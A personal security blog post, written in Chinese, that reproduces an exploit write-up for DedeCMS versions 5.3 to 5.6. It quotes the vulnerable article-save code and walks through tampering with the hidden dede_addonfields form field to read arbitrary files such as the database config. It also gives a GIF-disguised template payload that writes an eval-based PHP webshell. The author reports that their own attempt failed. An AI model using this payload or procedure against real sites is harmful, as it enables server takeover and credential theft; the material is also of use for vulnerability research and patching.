\xeb\xfe's Blog.

dedecms v5.3-v5.6 Get Shell

2017/12/08

简要描述

在dedecms v5.3-v5.6 Get Shell 的基础上,作了修改,突破最新版本补丁,文件上传导致代码执行。

详细说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/*------------------------------
function _SaveArticle(){ }
------------------------------*/
else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check_edit.php');

//分析处理附加表数据
$inadd_f = '';
if(!empty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
}
}
}
$body = AnalyseHtmlBody($body,$description);
$body = HtmlReplace($body,-1);

//处理图片文档的自定义属性
if($litpic!='')
{
$flag = 'p';
}

//更新数据库的SQL语句
$upQuery = "Update `#@__archives` set
ismake='$ismake',
arcrank='$arcrank',
typeid='$typeid',
title='$title',
litpic='$litpic',
description='$description',
keywords='$keywords',
flag='$flag'
where id='$aid' And mid='$mid'; ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("把数据保存到数据库主表时出错,请联系管理员!".$dsql->GetError(),"-1");
exit();
}
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");
exit();
}
$dsql->ExecuteNoneQuery("Update `#@__member_archives` set mtypeid = '$mtypesid' WHERE id = '$aid'");
}
UpIndexKey($aid,$arcrank,$typeid,$sortrank,$tags);
$artUrl = MakeArt($aid,true);
if($artUrl=='')
{
$artUrl = $cfg_phpurl."/view.php?aid=$aid";
}

第10行变量$dede_addonfields 没有进行严格控制,$inadd_f可控(这是因为自定义模型所造成),没有限制用户所提交的信息,造成SQL注入漏洞。结合附加表数据自定义模板,造成爆任意文件源码漏洞。上传图片模板,可执行任意代码。

爆任意文件源码漏洞证明

首先要有发表文章的权限(不需要审核通过,只要有发表和预览权限),会员登录后点击添加文章然后选择编辑,firefox右键查看元素,找到隐藏的dede_addonfields,把hidden去掉设置为显示,并且增加一个表单变量templet,并设置templet变量为templet,dede_addonfields为../data/common.inc.php,点击提交

修改成功之后,直接点击查看文章,右键源代码就可以看到爆了/data/common.inc.php配置文件的源码。

扩展利用

以附件形式上传任意设计的模板文件,利用dedecms标签语法在服务器解释执行,实现GetShell。

发表文章时,选择上传图片1.jpg,图片内容如下:

1
2
3
4
5
GIF89aGIF89a {dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

上传图片成功后,点击附件管理->更改,得到jpg的链接地址/dedecms53/uploads/userup/2/1512O33W-3U9.jpg
利用爆任意文件的方法实现getshell.

getshell漏洞证明


我这里能构造代码,修改文章也成功了,但是弹出来了这个报错,没有实现最终getshell。

原文说参考原漏洞自己构造一个表单,加上验证码,上传的时候图片虽为白页面,但文件成功传上,下载官方最新版,在自搭建环境测试成功!
测试成功会在plus目录下创建一个1.php,成功getshell。

测试过这个漏洞的dalao,希望可以指点一下我。thanks…

原文链接:dedecms v5.3-v5.6 Get Shell

CATALOG
  1. 1. 简要描述
  2. 2. 详细说明
  3. 3. 爆任意文件源码漏洞证明
  4. 4. 扩展利用
  5. 5. getshell漏洞证明